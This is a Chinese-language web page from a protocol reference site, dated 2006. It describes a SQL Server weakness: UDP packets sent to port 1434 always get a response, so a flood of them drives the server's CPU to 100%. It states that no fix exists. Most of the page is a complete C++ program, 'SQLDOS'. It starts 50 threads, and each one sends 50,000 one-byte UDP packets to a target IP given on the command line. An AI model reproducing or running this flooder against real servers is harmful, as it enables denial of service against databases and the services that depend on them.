返回首页
当前位置: 网站首页>>协议大全>>UDP协议>>

构造特殊的UDP数据包能造成SQL Server服务器CPU负荷加重漏洞

时间:2006-02-06 来源: 作者: 点击:
漏洞描述: 由于SQLServer对1434端口的UDP没有限制,构造特殊的UDP包,SQLServer就一定会作出回应。如果收到大量的这些UDP包,SQLServer将消耗CPU,来处理这些UDP回应,虽然这不能造成主机当机等严重影响,但是CPU使用率将很容易达到100%,从而造成数据库服务器负荷加重
  漏洞描述: 
    由于SQL Server对1434端口的UDP没有限制,构造特殊的UDP包,SQL Server就一定会作出回应。如果收到大量的这些UDP包,SQL Server将消耗CPU,来处理这些UDP回应,虽然这不能造成主机当机等严重影响,但是CPU使用率将很容易达到100%,从而造成数据库服务器负荷加重,对其他服务(比如WEB)能造成拒绝服务。同时,恶意攻击者只需要对SQL Server发送一个1个字节的UDP数据,SQL Server将到处发送自己的数据库服务器信息。 

解决办法: 
    暂时没有 


测试程序: 

// SQLDOS.cpp 
// 

//////////////////////////////////////////////////////////// 
//                                                    
// SQLDOS by refdom 
// 
// Author: refdom. 
// Email: refdom@263.net 
// 
//////////////////////////////////////////////////////////// 

#include "stdafx.h" 
#include <string.h> 
#include <stdio.h> 

void sendudp (void* v) 

int i; 
char buf[1]={’\x02’}; 
SOCKADDR_IN addr_in; 
char *targetip; 
targetip=(char*)v; 

SOCKET sock; 

if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET) 

printf("Socket failed.Error:%d\n",WSAGetLastError()); 
return; 


const int SNDBUF = 0; 
const int TCPNODELAY = true; 
const int BROADCAST = true; 

if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR) 

printf("Set SO_SNDBUF failed.Error:%d",WSAGetLastError()); 
return; 

if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR) 

printf("Set TCP_NODELAY failed.Error:%d",WSAGetLastError()); 
return; 

if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR) 

printf("Set SO_BROADCAST failed.Error:%d",WSAGetLastError()); 
return; 


addr_in.sin_family=AF_INET; 
addr_in.sin_port=htons(1434); 
addr_in.sin_addr.S_un.S_addr=inet_addr(targetip); 

for (i=1;i<50000;i++) 
//发送50000次请求 

if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR) 

printf("Send failed.Error:%d\n",WSAGetLastError()); 
return; 


closesocket(sock); 


void useage() 

printf("******************************************\n"); 
printf("SQLDOS\n"); 
printf("\t Written by Refdom\n"); 
printf("\t Email: refdom@263.net\n"); 
printf("Useage: SQLDOS.exe target_ip \n"); 
printf("*******************************************\n"); 


int main(int argc, char* argv[]) 

WSADATA WSAData; 
int i; 
useage(); 
if (argc<2) 

return false; 


if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) 

printf("WSAStartup error.Error:%d\n",WSAGetLastError()); 
return false; 

printf("SQLDOS start..."); 

for (i=1;i<=50;i++) 

_beginthread(sendudp, 0, (void*)argv[1]); 


Sleep(500000); 
WSACleanup(); 
printf("SQLDOS Complete.\n"); 
return 0; 
------分隔线----------------------------
顶一下
(1)
100%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
推荐内容